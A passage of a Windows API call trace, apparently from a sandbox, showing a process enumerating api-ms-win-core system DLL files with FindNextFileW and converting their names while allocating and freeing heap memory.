lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.829] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.829] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.830] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.830] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.830] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x1d3c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.844] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x1d3c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.844] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.844] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d3c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0040.844] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.845] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1d3c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.845] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x1d3c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0040.845] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.845] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.846] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d3c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.846] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.846] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.846] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.846] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.846] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0040.847] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, 